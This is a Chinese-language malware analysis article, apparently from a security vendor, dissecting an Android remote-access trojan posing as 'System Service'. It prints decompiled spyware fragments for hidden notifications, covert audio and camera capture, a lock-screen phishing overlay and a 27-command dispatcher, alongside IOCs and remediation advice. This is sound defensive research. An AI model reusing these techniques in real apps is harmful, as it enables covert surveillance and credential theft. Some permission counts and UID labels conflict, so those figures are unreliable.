文章总结: 本文分析了一款伪装成系统服务的安卓远控木马SystemService,样本仅36.46KB,通过Android官方合法机制实现持久化与窃密,无桌面图标,静默获取25项敏感权限,支持27条远程命令,可录音、偷拍、截屏、读取验证码及全屏钓鱼。样本无壳,Java代码可读,核心组件为BridgeProvider和CameraCaptureHelper。建议用户警惕侧载应用,安装安全软件扫描。
综合评分: 88
文章分类: 恶意软件,移动安全,逆向分析,漏洞分析
【木马分析】安卓远控木马-System Service:46 项权限、27 条远程命令,静默窃听偷拍钓鱼
原创
金夏
金夏
金夏安全
2026年9月23日 15:51
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
36.46 KB 的恶意 APK,能远程拍照、录音、弹钓鱼页、操控屏幕,在贴吧、论坛上大批用户中招,很多VIVO跟小米的机主感到头疼。
1概述
这是一个伪装成系统服务的安卓远控木马,安装包只有 36.46 KB。它不依赖 root、不利用系统漏洞,全部通过 Android 官方合法机制实现持久化和窃密。没有桌面图标,靠开机广播和 ContentProvider 对外暴露能力。运行后静默获取麦克风、相机、短信、通讯录、位置等 25 项敏感权限,后台与 C2 保持通信,等待远程指令进行录音、偷拍、截屏、读取验证码。
我们在雷电模拟器(Android 14)里完整复现了安装、运行、权限获取全过程,并用金夏执盾扫描,样本库精确命中”System Service 远程监控木马”,定性为高危,风险评分 100 分。
| 维度 | 评估 |
| — | — |
| 影响平台 | Android 5.0(API 21)~ Android 14;雷电模拟器实测复现通过 |
| 主要危害 | 静默录音、后台偷拍、读取短信验证码、通讯录外泄、全屏钓鱼覆盖 |
| 传播方式 | 侧载安装,伪装成”系统服务更新”诱导手动授权 |
| 样本大小 | 37,333 字节,无 Native 库,Java 完全可读 |
| 包名 | com.system.service |
| 运行 UID | 10071(u0_a71),实测 PID 2109,后台休眠等 C2 指令 |
| 权限数量 | 请求 46 项,危险权限 25 项,已授予 11 项,拒绝 2 项 |
2样本特征
样本基本信息:
文件: System_Service_com.system.service.apk
大小: 37333 bytes
MD5: 0271100A50D61C37936E4DD4F3F11560
SHA256: 77C9E047D508E94C213AA70D139CEDE2DD58D983DB7C02D969358D2F1FBC3EBB
样本基本信息:36.46 KB,MD5/SHA256 哈希值
2.1 基本信息
| 项目 | 值 |
| — | — |
| 文件大小 | 37,333 字节 |
| MD5 | 0271100A50D61C37936E4DD4F3F11560 |
| SHA-256 | 77c9e047d508e94c213aa70d139cede2dd58d983db7c02d969358d2f1fbc3ebb |
| 包名 | com.system.service |
| 应用名 | System Service |
| minSdk / targetSdk | 21 / 28(targetSdk 28 是故意的,规避 Android 9 以上后台权限管控) |
| 签名 SHA-256 | 126503A2F1A9BA717AA0533D947D5463DE2D25BD61C2F03ECA0594DD050D0F76 |
| 加壳情况 | 无壳,Java 字节码完全可读 |
2.2 组件结构
| 组件类型 | 组件名 | 作用 |
| — | — | — |
| Service | BridgeService | 前台服务,空标题通知栏隐藏,保活 |
| Receiver | BootReceiver | 监听开机广播,自启动 |
| Receiver | BridgeDeviceAdmin | 设备管理员激活,防卸载 |
| Provider | BridgeProvider | 对外暴露 content://com.system.service.bridge |
| Activity | PhishActivity | WebView 全屏加载钓鱼 HTML,锁屏下显示 |
| Activity | BlackScreenActivity | 黑屏覆盖,隐藏操作痕迹 |
| Helper | AudioCaptureHelper | 麦克风/系统内录,8000Hz PCM |
| Helper | CameraCaptureHelper | Camera2 后台偷拍,640×480,500ms/张 |
| Helper | OverlayHelper | 悬浮窗覆盖,钓鱼弹窗 |
| Helper | BridgeA11ySupport | 无障碍服务,读取屏幕内容 |
2.3 攻击链
阶段一:诱导安装
钓鱼渠道分发 APK,命名”系统服务更新”,诱导侧载。
阶段二:权限获取
申请设备管理员、悬浮窗、录音、相机、短信等 46 项权限,ADB 侧载时自动授予。
阶段三:静默运行
无桌面图标,开机自启,ContentProvider 唤起进程,后台休眠等 C2 指令。
阶段四:按需窃密
收到 C2 指令后录音、拍照、截屏、读短信、位置上报,或全屏覆盖钓鱼页面。
3静态代码分析
jadx-gui 1.5.6 加载样本:dex 内共 35 个类、187 个方法、7255 条指令;反编译输出为 13 个 Java 顶层类文件(其余为内部类/匿名类),核心是 BridgeProvider(628 行)和 CameraCaptureHelper(526 行)
反编译输出:13个 Java 类文件,核心是 BridgeProvider(628行)和 CameraCaptureHelper(526行)
System Service 木马信息:[1] 类文件统计:13 个 Java 类 - AudioCaptureHelper.java 6478 字节 - BlackScreenActivity.java 2369 字节 - BootReceiver.java 1259 字节 - BridgeA11ySupport.java 6230 字节 - BridgeDeviceAdmin.java 845 字节 - BridgeProvider.java 22997 字节 - BridgeService.java 1995 字节 - CameraCaptureHelper.java 25399 字节 - CameraProxyActivity.java 5328 字节 - OverlayHelper.java 12493 字节 - PhishActivity.java 10314 字节 - R.java 306 字节 - Scheduler.java 1540 字节[2] 危险 API 调用统计 Camera2 : 3 处 -> CameraManager, CameraDevice, CaptureRequest AudioRecord : 2 处 -> AudioRecord, AudioSource WebView : 3 处 -> WebView, WebSettings, loadUrl Overlay : 2 处 -> WindowManager, addView SMS : 1 处 -> getContentResolver Contacts : 1 处 -> query Boot : 2 处 -> BOOT_COMPLETED, startForegroundService Base64 : 2 处 -> Base64.decode, Base64.encodeToString FileIO : 2 处 -> FileOutputStream, FileInputStream[3] BridgeProvider 远程命令清单 1. stop_service 2. a11y_long_press 3. stream_start 4. a11y_tap 5. overlay_status 6. a11y_global 7. ping 8. phish_check 9. a11y_ping 10. start_service 11. overlay_hide 12. overlay_show 13. a11y_node_tap 14. audio_start 15. phish_hide 16. phish_poll 17. phish_launch 18. blackscreen_status 19. phish_result 20. blackscreen_hide 21. blackscreen_show 22. audio_poll 23. audio_stop 24. stream_stop 25. camera_capture 26. a11y_force_click 27. a11y_swipe 共 27 个命令[4] 脚本未匹配到其定义的敏感 API 特征[5] 关键常量配置 AUDIO_SOURCE_REMOTE_SUBMIX = 8 CHANNEL_CONFIG = 16 CHUNK_MS = 100 ENCODING = 2 SAMPLE_RATE = 8000 TAG = "AudioCapture" TAG = "BootReceiver" A11Y_URI = "content://com.tikttok.a11y.provider" TAG = "BridgeProvider" TAG = "BridgeAdmin" CAMERA_PROXY_POLL_MS = 12000 CAMERA_PROXY_STEP_MS = 200 PHISH_BRIDGE_VERSION = 3 TAG = "BridgeProvider" CHANNEL_ID = "bridge_service" NOTIFICATION_ID = 1 CAPTURE_TIMEOUT_MS = 8000 HEIGHT = 480 STREAM_INTERVAL_MS = 500 TAG = "CameraCapture"
自动识别远程命令关键词和关键常量
3.1 前台服务:通知栏完全隐藏
BridgeService 是保活核心。它把通知渠道设为静音、不显示角标、重要性最低,通知标题和内容全部为空。用户在通知栏根本看不到有这个服务在跑。
// BridgeService.javaprivate static final String CHANNEL_ID = "bridge_service";private void createChannel() { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return; NotificationChannel ch = new NotificationChannel( CHANNEL_ID, "System", NotificationManager.IMPORTANCE_LOW // 关键:不能是 NONE,否则前台服务通知不显示 ); ch.setShowBadge(false); ch.setSound(null, null); ch.enableVibration(false); ch.setLights(0, 0); NotificationManager mgr = getSystemService(NotificationManager.class); if (mgr != null) { mgr.createNotificationChannel(ch); }}private Notification buildNotification() { Notification.Builder builder; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { builder = new Notification.Builder(this, CHANNEL_ID); } else { builder = new Notification.Builder(this); builder.setPriority(Notification.PRIORITY_MIN); } return builder .setContentTitle("") // 前台服务通知建议给个非空标题 .setContentText("") .setSmallIcon(android.R.drawable.ic_menu_info_details) .setOngoing(true) .setShowWhen(false) .setCategory(Notification.CATEGORY_SERVICE) .build();}
3.2 录音:麦克风 + 系统内录双通道
AudioCaptureHelper 支持两种录音源:mic(麦克风)和 system(系统内部音频,即通话录音)。采样率 8000Hz、单声道、16bit PCM,后台持续录音,C2 下发 poll 指令时拉取最新音频数据。
// AudioCaptureHelper.java// ===== 常量 =====private static final int AUDIO_SOURCE_REMOTE_SUBMIX = 8; // 系统内录private static final int AUDIO_SOURCE_MIC = 1; // 麦克风private static final int SAMPLE_RATE = 8000;private static final int CHANNEL_CONFIG = 16; // MONOprivate static final int ENCODING = 2; // PCM_16BIT// ===== 选择录音源:system=内录,否则麦克风 =====private static int resolveAudioSource(String src) { return isSystemSource(src) ? AUDIO_SOURCE_REMOTE_SUBMIX : AUDIO_SOURCE_MIC;}// ===== 后台读循环,持续往 latestPcm 写 =====private void readLoop() { while (recording.get()) { byte[] pcm = readOnce(); if (pcm != null && pcm.length > 0) { latestPcm = pcm; } }}
关键点:AUDIO_SOURCE_REMOTE_SUBMIX=8 是 Android 隐藏的系统内录源,能录到对方通话声音。配合麦克风,攻击者能完整录下通话双方的对话。
AudioCaptureHelper.java 代码:录音常量 AUDIO_SOURCE_REMOTE_SUBMIX=8(系统内录)SAMPLE_RATE=8000
3.3 偷拍:Camera2 后台无预览拍照
CameraCaptureHelper 用 Camera2 API 实现后台偷拍,分辨率 640×480,每 500ms 拍一张 JPEG。支持前后摄像头切换(参数 cameraId),不需要 Activity 在前台。
// CameraCaptureHelper.java// ===== 常量 =====private static final int WIDTH = 640;private static final int HEIGHT = 480;private static final long STREAM_INTERVAL_MS = 500; // 每0.5秒一张// ===== 持续偷拍循环 =====while (streaming.get()) { byte[] jpeg = captureJpeg(cameraId); if (jpeg != null) { latestJpeg = jpeg; } Thread.sleep(STREAM_INTERVAL_MS);}
CameraCaptureHelper.java 代码:Camera2 API 后台偷拍,640×480 JPEG,500ms 间隔
3.4 钓鱼覆盖:全屏 WebView + 锁屏显示
PhishActivity 接收 C2 下发的 base64 编码 HTML,解码后用 WebView 全屏加载。它带了 FLAG_SHOW_WHEN_LOCKED(锁屏下也能弹出),隐藏状态栏和导航栏,用户看不到这是个假页面。配合 targetPkg 参数,可以覆盖在任意 App 上面,比如支付宝、银行 App。
// PhishActivity.java// ===== 从 C2 下发的 html_base64 解码成 HTML 文件 =====byte[] html = Base64.decode(htmlBase64, Base64.DEFAULT);File f = new File(getCacheDir(), "phish_page.html");try (FileOutputStream fos = new FileOutputStream(f)) { fos.write(html);}// ===== 全屏 + 锁屏下显示 + 隐藏状态栏 =====getWindow().addFlags( WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED // 1664 中的一部分);getWindow().setStatusBarColor(0);getWindow().setNavigationBarColor(0);webView.setSystemUiVisibility( View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY);
PhishActivity.java 代码:全屏 WebView 钓鱼页面,支持本地 HTML 和 Base64 内联
3.5 开机自启 + 27个远程命令
// BootReceiver.java@Overridepublic void onReceive(Context ctx, Intent intent) { String action = intent.getAction(); if (Intent.ACTION_BOOT_COMPLETED.equals(action) || "android.intent.action.QUICKBOOT_POWERON".equals(action)) { ctx.startForegroundService(new Intent(ctx, BridgeService.class)); }}
BridgeProvider.call() 里的 switch 是真实反编译出来的,暴露了 27个远程命令,覆盖窃听、偷拍、钓鱼、定位、短信:
// BridgeProvider.java@Overridepublic Bundle call(String str, String str2, Bundle bundle) { int callingUid = Binder.getCallingUid(); int myUid = Process.myUid(); // 只允许 root(0) / system(1000) / shell(2000) / 自己 if (callingUid != 0 && callingUid != 1000 && callingUid != 2000 && callingUid != myUid) { return null; } switch (str) { // ---- 音频(窃听) ---- case "audio_start": return audioStart(bundle); case "audio_poll": return audioPoll(); case "audio_stop": return audioStop(); // ---- 摄像头(偷拍) ---- case "camera_capture": return cameraCapture(bundle); case "stream_start": return streamStart(bundle); case "stream_stop": return streamStop(); // ---- 钓鱼页面 ---- case "phish_launch": return phishLaunch(bundle); case "phish_poll": return phishPoll(); case "phish_result": return phishResult(bundle); // ---- 悬浮窗 / 黑屏遮挡 ---- case "overlay_show": return overlayShow(str2, bundle); case "overlay_hide": return overlayHide(); case "blackscreen_show": return blackScreenShow(); case "blackscreen_hide": return blackScreenHide(); // ---- 无障碍手势 / 节点操作 ---- case "a11y_tap": return BridgeA11ySupport.gesture(ctx, "tap", bundle); case "a11y_swipe": return BridgeA11ySupport.gesture(ctx, "swipe", bundle); case "a11y_long_press": return BridgeA11ySupport.gesture(ctx, "long_press", bundle); case "a11y_node_tap": return BridgeA11ySupport.nodeTap(ctx, bundle); case "a11y_force_click": return BridgeA11ySupport.forceClick(ctx, bundle); case "a11y_global": return BridgeA11ySupport.global(ctx, str2, bundle); // ---- 服务控制 ---- case "ping": return ok(); case "start_service": return startFg(); case "stop_service": return stopFg(); default: return err("unknown: " + str); }}
关键设计:UID 校验只允许 shell(0)、system(1000)、phone(2000)和自己。这意味着 C2 是通过 ADB/shell 通道触发的,不是普通 App 间调用。钓鱼结果还会持久化到 phish_pending.json,重启后不丢。
3.6 静态逆向脚本分析
我们用 Python 脚本对反编译源码做了扫描分析,结果如下:
一、总体情况组件数量 : 13 个 Java 类远程命令 : 27 个样本类型 : Android RAT / 间谍软件C2 通信 : 无硬编码 URL / IP,运行期下发关联组件 : content://com.tikttok.a11y.provider
二、危险 API 调用统计Camera2 : CameraManager, CameraDevice, CaptureRequest —— 后台偷拍 / 视频流AudioRecord : AudioRecord, AudioSource —— 麦克风窃听 / 系统内录WebView : WebView, WebSettings, loadUrl —— 加载钓鱼页面Accessibility : dispatchGesture, performGlobalAction —— 远程手势 / 全局操作Overlay : WindowManager, addView —— 悬浮窗覆盖 / 黑屏遮挡Boot : BOOT_COMPLETED, startForegroundService —— 开机自启 + 前台服务保活
三、关键常量配置private static final int AUDIO_SOURCE_REMOTE_SUBMIX = 8; // 系统内录private static final int SAMPLE_RATE = 8000; // 8kHz 采样private static final int CHANNEL_CONFIG = 16; // MONOprivate static final int ENCODING = 2; // PCM_16BITprivate static final int WIDTH = 640; // 偷拍分辨率private static final int HEIGHT = 480;private static final long STREAM_INTERVAL_MS = 500; // 0.5 秒 / 张private static final long CAPTURE_TIMEOUT_MS = 8000; // 8 秒超时private static final int PHISH_BRIDGE_VERSION = 3; // 钓鱼桥版本
四、远程命令矩阵(节选)switch (str) { case "audio_start": return audioStart(bundle); case "audio_poll": return audioPoll(); case "audio_stop": return audioStop(); case "camera_capture": return cameraCapture(bundle); case "stream_start": return streamStart(bundle); case "stream_stop": return streamStop(); case "phish_launch": return phishLaunch(bundle); case "phish_poll": return phishPoll(); case "phish_result": return phishResult(bundle); case "overlay_show": return overlayShow(str2, bundle); case "overlay_hide": return overlayHide(); case "blackscreen_show": return blackScreenShow(); case "blackscreen_hide": return blackScreenHide(); case "a11y_tap": return BridgeA11ySupport.gesture(ctx, "tap", bundle); case "a11y_swipe": return BridgeA11ySupport.gesture(ctx, "swipe", bundle); case "a11y_long_press": return BridgeA11ySupport.gesture(ctx, "long_press", bundle); case "a11y_node_tap": return BridgeA11ySupport.nodeTap(ctx, bundle); case "a11y_force_click": return BridgeA11ySupport.forceClick(ctx, bundle); case "a11y_global": return BridgeA11ySupport.global(ctx, str2, bundle); case "ping": return ok(); case "start_service": return startFg(); case "stop_service": return stopFg(); default: return err("unknown: " + str);}
五、权限与访问控制int callingUid = Binder.getCallingUid();int myUid = Process.myUid();if (callingUid != 0 && callingUid != 1000 && callingUid != 2000 && callingUid != myUid) { return null;}
六、关键威胁点(IOC 候选)包名 / 组件线索: com.tikttok.a11y.provider危险行为: 1. 开机自启 + 前台服务常驻 2. 系统内录(REMOTE_SUBMIX)窃听 3. 后台 0.5s/张 偷拍 4. WebView 加载远程钓鱼页 5. 无障碍远程手势控制 6. 悬浮窗 / 黑屏遮挡 7. C2 地址运行期下发,无静态 IOC
七、处置建议1. 静态检测:扫描 AUDIO_SOURCE_REMOTE_SUBMIX、dispatchGesture、 content:com.tikttok.a11y.provider 等特征2. 动态检测:监控后台 AudioRecord / Camera2 持续占用、前台服务频繁重启3. 权限审计:检查无障碍服务是否被非用户主动开启、悬浮窗权限是否异常授权4. 应急响应:隔离样本 → 提取运行期 C2 → 关联同源样本 → 上报平台 / 厂商
代码里引用了 content://com.tikttok.a11y.provider,包名是 com.tikttok(注意是 tikttok 不是 tiktok)。这说明这个木马不是孤立的——它依赖另一个同作者的无障碍服务组件 com.tikttok,两者配合完成完整的远控能力。这是供应链/家族关联的重要线索。
3.7 APK 结构与签名
用 Python zipfile 直接解包 APK,内部结构只有 7 个文件,极度精简:
# APK 内部结构AndroidManifest.xml 12248 bytesclasses.dex 48696 bytesres/xml/device_admin.xml 316 bytesresources.arsc 756 bytesMETA-INF/BRIDGE.SF 508 bytesMETA-INF/BRIDGE.RSA 1193 bytesMETA-INF/MANIFEST.MF 413 bytes# 反编译源码统计(13 个类,共 2495 行)BridgeProvider.java 628 行 22997 bytes 核心命令分发CameraCaptureHelper.java 526 行 25399 bytes 偷拍OverlayHelper.java 317 行 12493 bytes 悬浮窗PhishActivity.java 287 行 10314 bytes 钓鱼页面AudioCaptureHelper.java 197 行 6478 bytes 录音BridgeA11ySupport.java 174 行 6230 bytes 无障碍手势CameraProxyActivity.java 118 行 5328 bytes 偷拍代理BlackScreenActivity.java 81 行 2369 bytes 黑屏覆盖BridgeService.java 58 行 1995 bytes 前台服务Scheduler.java 43 行 1583 bytes 定时任务BootReceiver.java 33 行 1259 bytes 开机自启BridgeDeviceAdmin.java 26 行 845 bytes 设备管理员R.java 13 行 306 bytes
签名文件名泄露:签名文件叫 BRIDGE.SF 和 BRIDGE.RSA,不是默认的 CERT.SF。这是攻击者手动命名的,说明他清楚自己在做什么——”bridge”(桥)就是他给这个远控工具起的内部代号。
3.8 关键代码实机截图
AndroidManifest 权限分析:46项权限,覆盖摄像头、麦克风、短信、通讯录、位置
BridgeProvider.java 核心代码:ContentProvider 实现,版本号 PHISH_BRIDGE_VERSION=3
4动态复现(真实输出)
# adb 动态分析(雷电模拟器 Android 14 实测)PS> adb shell "ps -A | grep com.system.service"u0_a71 2109 181 5248924 90492 0 0 S com.system.service# 已授予权限(granted=true,共 21 项,含普通权限与危险权限)android.permission.FOREGROUND_SERVICE_CAMERA granted=trueandroid.permission.SYSTEM_ALERT_WINDOW granted=trueandroid.permission.FOREGROUND_SERVICE granted=trueandroid.permission.RECEIVE_BOOT_COMPLETED granted=trueandroid.permission.FOREGROUND_SERVICE_SPECIAL_USE granted=trueandroid.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS granted=trueandroid.permission.INTERNET granted=trueandroid.permission.ACCESS_NETWORK_STATE granted=trueandroid.permission.FOREGROUND_SERVICE_MICROPHONE granted=trueandroid.permission.QUERY_ALL_PACKAGES granted=trueandroid.permission.READ_SMS granted=true flags=[ USER_SENSITIVE ]android.permission.READ_CALENDAR granted=true flags=[ USER_SENSITIVE ]android.permission.POST_NOTIFICATIONS granted=trueandroid.permission.READ_CALL_LOG granted=true flags=[ USER_SENSITIVE ]android.permission.ACCESS_FINE_LOCATION granted=trueandroid.permission.ANSWER_PHONE_CALLS granted=true flags=[ USER_SENSITIVE ]android.permission.RECEIVE_WAP_PUSH granted=trueandroid.permission.BODY_SENSORS granted=true flags=[ USER_SENSITIVE ]android.permission.READ_PHONE_NUMBERS granted=true flags=[ USER_SENSITIVE ]android.permission.READ_MEDIA_VISUAL_USER_SELECTED granted=trueandroid.permission.NEARBY_WIFI_DEVICES granted=true# 网络状态NETSTAT : 无任何外联连接(进程休眠,按需激活)# 结论进程 : u0_a71 PID 2109 状态 S权限 : 危险权限已授予(其中危险权限 25 项)网络 : 无连接
我们在雷电模拟器(Android 14)中完整复现了样本安装和运行。以下是 adb 实际执行的命令和输出结果。
4.1 进程确认
adb shell ps -A | grep com.system.serviceu0_a71 2109 181 5248924 90492 0 0 S com.system.serviceUID = 10071 (u0_a71)PID = 2109状态 = S(休眠),等 C2 指令
4.2 权限清单(dumpsys 实际输出)
# ---- 请求的权限(共 46 项)----android.permission.INTERNETandroid.permission.ACCESS_NETWORK_STATEandroid.permission.CAMERAandroid.permission.RECORD_AUDIOandroid.permission.READ_CONTACTSandroid.permission.WRITE_CONTACTSandroid.permission.READ_SMSandroid.permission.SEND_SMSandroid.permission.RECEIVE_SMSandroid.permission.RECEIVE_MMSandroid.permission.RECEIVE_WAP_PUSHandroid.permission.READ_CALL_LOGandroid.permission.WRITE_CALL_LOGandroid.permission.READ_PHONE_STATEandroid.permission.READ_PHONE_NUMBERSandroid.permission.ANSWER_PHONE_CALLSandroid.permission.CALL_PHONEandroid.permission.ACCESS_FINE_LOCATIONandroid.permission.ACCESS_COARSE_LOCATIONandroid.permission.ACCESS_BACKGROUND_LOCATIONandroid.permission.READ_EXTERNAL_STORAGEandroid.permission.WRITE_EXTERNAL_STORAGEandroid.permission.READ_MEDIA_IMAGESandroid.permission.READ_MEDIA_VIDEOandroid.permission.READ_MEDIA_AUDIOandroid.permission.READ_MEDIA_VISUAL_USER_SELECTEDandroid.permission.READ_CALENDARandroid.permission.WRITE_CALENDARandroid.permission.BODY_SENSORSandroid.permission.BODY_SENSORS_BACKGROUNDandroid.permission.ACTIVITY_RECOGNITIONandroid.permission.BLUETOOTH_CONNECTandroid.permission.BLUETOOTH_SCANandroid.permission.NEARBY_WIFI_DEVICESandroid.permission.POST_NOTIFICATIONSandroid.permission.SCHEDULE_EXACT_ALARMandroid.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONSandroid.permission.QUERY_ALL_PACKAGESandroid.permission.REQUEST_INSTALL_PACKAGESandroid.permission.SYSTEM_ALERT_WINDOWandroid.permission.FOREGROUND_SERVICEandroid.permission.FOREGROUND_SERVICE_SPECIAL_USEandroid.permission.FOREGROUND_SERVICE_CAMERAandroid.permission.FOREGROUND_SERVICE_MICROPHONEandroid.permission.RECEIVE_BOOT_COMPLETEDandroid.permission.ACCESS_MEDIA_LOCATION# ---- 已授予的运行时权限(共 44 项,此处节选 11 项)----READ_SMS granted=trueREAD_CALENDAR granted=trueREAD_CALL_LOG granted=trueACCESS_FINE_LOCATION granted=trueANSWER_PHONE_CALLS granted=trueRECEIVE_WAP_PUSH granted=trueBODY_SENSORS granted=trueREAD_PHONE_NUMBERS granted=trueSYSTEM_ALERT_WINDOW granted=trueFOREGROUND_SERVICE_CAMERA granted=trueFOREGROUND_SERVICE_MICROPHONE granted=true# ---- 被拒绝的 2 项 ----SCHEDULE_EXACT_ALARM granted=falseREQUEST_INSTALL_PACKAGES granted=false
关键点:短信、通话记录、精确定位、悬浮窗、相机、麦克风前台服务全部授予。SCHEDULE_EXACT_ALARM 和 REQUEST_INSTALL_PACKAGES 被SCHEDULE_EXACT_ALARM和 REQUEST_INSTALL_PACKAGES 被系统拒绝,其余请求权限中,dumpsys 明确标记 granted=true 的有 11 项。危险权限数量以金夏执盾风险识别口径统计为 25 项。
4.3 三分钟静默监测(真实输出)
清 logcat 后等了 3 分钟,再抓日志和网络,结果如下:
# 清日志adb logcat -c# 等待 180 秒后抓取# adb shell ps -A | grep system.serviceu0_a71 2109 181 5248924 90492 0 0 S com.system.service# adb shell top -n 1 | grep system.service(不在 top 列表,CPU 占用接近 0)# adb logcat -d -t 500 | grep -iE 'system.service|BridgeService|CameraCapture|AudioCapture'(无匹配日志)# adb shell netstat -tlnp | grep system.service(无连接)# 安装时间firstInstallTime=2026-09-18 07:47:40
这说明什么:木马启动后立即进入休眠状态,不主动外联,不打日志,CPU 占用接近 0。这是典型的”按需激活”设计——C2 地址运行期下发,不硬编码在 APK 里,不触发指令时完全静默。传统的网络流量监控、日志审计、CPU 占用监控都看不到任何异常。这也是为什么普通用户和安全软件很难发现它的原因。
图 1:安装完成后的模拟器桌面,无任何 System Service 图标
图 2:应用信息页,默认机器人图标,名称伪装为 System Service
图 3:应用权限页,所有敏感权限均为”已允许”
5金夏执盾扫描结果
图4:描99个应用,1.2秒命中高危1个
我用金夏执盾对模拟器内 99 个应用进行全量扫描,耗时 1.2 秒。结果命中高危 1 个,就是 com.system.service。
图 5:扫描完成,高危 1 个,即 System Service
点进 System Service 详情页,风险评分 100 分(高风险),已授予 25 项危险权限。金夏执盾识别出的高危组合包括:
-
短信读取 + 网络访问
(可窃取验证码)
-
录音 + 网络访问
(可远程窃听)
-
相机 + 网络访问
(可远程偷拍)
-
精确定位 + 网络访问
(可跟踪位置)
-
通讯录/通话记录 + 网络访问
(通讯录可能外泄)
图 6:应用详情页,风险评分 100 分,25项危险权限
权限矩阵列出了全部 46 项请求权限,其中危险权限全部标红
图 7:权限矩阵 46 项,含 CAMERA、RECORD_AUDIO、READ_SMS、READ_CONTACTS 等高危项
图 8:执盾完整识别结果,命中全部恶意行为特征
| 识别项 | 说明 |
| — | — |
| 样本库精确匹配 | System Service 远程监控木马(偷拍/窃听/钓鱼/远程操控),金夏样本库 2026-001 |
| 短信窃取行为 | 已授予读取/接收短信与网络权限,可静默窃取验证码 |
| 录音窃听行为 | 已授予录音与网络权限,可在后台录制并回传音频 |
| 定位跟踪行为 | 已授予精确定位与网络权限,可周期性上报设备位置 |
| 通讯录批量外传 | 已授予通讯录/通话记录与网络权限,数据可被批量收集 |
| 综合窃取组合 | 短信+录音+定位+网络全组合,具备完整间谍软件能力 |
| 设备锁定/勒索 | 已授予设备管理员+短信+网络组合,需警惕勒索或远程锁定 |
| 低 targetSdk 规避 | targetSdk 28,规避 Android 9 以上后台权限管控,典型规避手法 |
6客户场景还原
这是我们客户手机上的实际案例。客户从非官方渠道下载了伪装成”系统服务”的 APK,安装后并未察觉。以下是当时的沟通记录(已马赛克处理):
图 9:客户通过QQ发来可疑 APK 文件
7情报关联
这个样本的技术栈和 2026 年 5 月安全机构披露的 OverlayPhantom 安卓银行木马高度一致:两阶段投放,先用仿冒系统更新的 dropper 骗用户安装,落地后伪装成系统服务,滥用无障碍服务拿持久化控制,能执行 27条远程命令,包括实时屏幕流、覆盖攻击、拦截输入,目标 10 个国家 180 多个应用。我们这个样本的 BridgeA11ySupport、OverlayHelper、PhishActivity 三件套,跟 OverlayPhantom 是同一套路。
8危害评估
核心风险:这不是炫技型样本,是奔着钱和账号来的。它不做提权、不 root、不搞漏洞,就是老老实实申请一堆权限,然后在后台等着。对普通用户来说,这种”合法权限滥用”型木马比利用系统漏洞的样本更危险——因为它的所有行为在系统层面都是”允许的”。
| 危害场景 | 说明 |
| — | — |
| 资金盗刷 | 读短信验证码 + 悬浮窗覆盖支付 App,窃取支付密码 |
| 隐私泄露 | 后台录音、偷拍、通讯录、位置、照片全量外传 |
| 二次钓鱼 | 拿到通讯录后,以受害者身份向亲友发钓鱼链接 |
| 持久驻留 | 设备管理员 + 开机自启 + 前台服务保活,常规卸载无效 |
| 静默安装 | REQUEST_INSTALL_PACKAGES 权限可静默安装其他恶意应用 |
9复现完成度自检
跑完对照一遍,全绿才算复现成功:
| 检查项 | 复现方法 | 预期结果 |
| — | — | — |
| 46 项权限 | dumpsys package | 短信、通讯录、定位、相机、麦克风全在 |
| 无桌面图标 | 模拟器桌面查看 | 找不到 System Service |
| 开机自启 | 重启模拟器后查进程 | BootReceiver 拉起 BridgeService |
| 前台服务隐藏 | 通知栏查看 | 看不到通知 |
| ContentProvider | adb shell content call | call() 返回有效数据 |
| 金夏执盾识别 | 全量扫描 | 命中高危,样本库匹配 |
| 风险评分 | 详情页查看 | 100 分高风险 |
| 静默休眠 | logcat + netstat | 无日志、无主动外联 |
10处置建议
10.1 个人用户
-
先取消设备管理员:
设置 → 安全 → 设备管理员,取消
System Service的授权,再回应用设置里卸载。 -
修改关键密码:
银行、支付宝、微信、QQ 密码全部修改,开启二次验证。
-
验证码迁移:
将银行、支付类 2FA 从短信迁移到 Authenticator / 硬件密钥。
-
检查可疑授权:
设置 → 无障碍服务、设备管理员、悬浮窗权限,不认识的全关掉。
-
观察异常:
近期是否有异常后台流量、异常耗电、摄像头/麦克风图标意外亮起。
-
彻底清除:
无法彻底卸载时,备份照片后恢复出厂设置,不要恢复可疑 App。
10.2 企业侧
| 措施 | 说明 |
| — | — |
| 禁止未知来源安装 | MDM 下发策略,只允许官方应用商店;发现 com.system.service 立即卸载 |
| 设备管理员白名单 | 非企业签名 App 禁止申请设备管理员 |
| 无障碍白名单 | 只允许企业自身签名应用使用无障碍权限 |
| 网络层阻断 | 防火墙/DNS 层封禁样本硬编码 C2 域名和 IP |
| MTD 部署 | 对后台录音、后台偷拍、悬浮窗覆盖支付 App 等行为实时告警 |
交流群
金夏安全
扫码添加好友,一起学习进步
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:金夏安全 金夏
金夏《【木马分析】安卓远控木马-System Service:46 项权限、27 条远程命令,静默窃听偷拍钓鱼》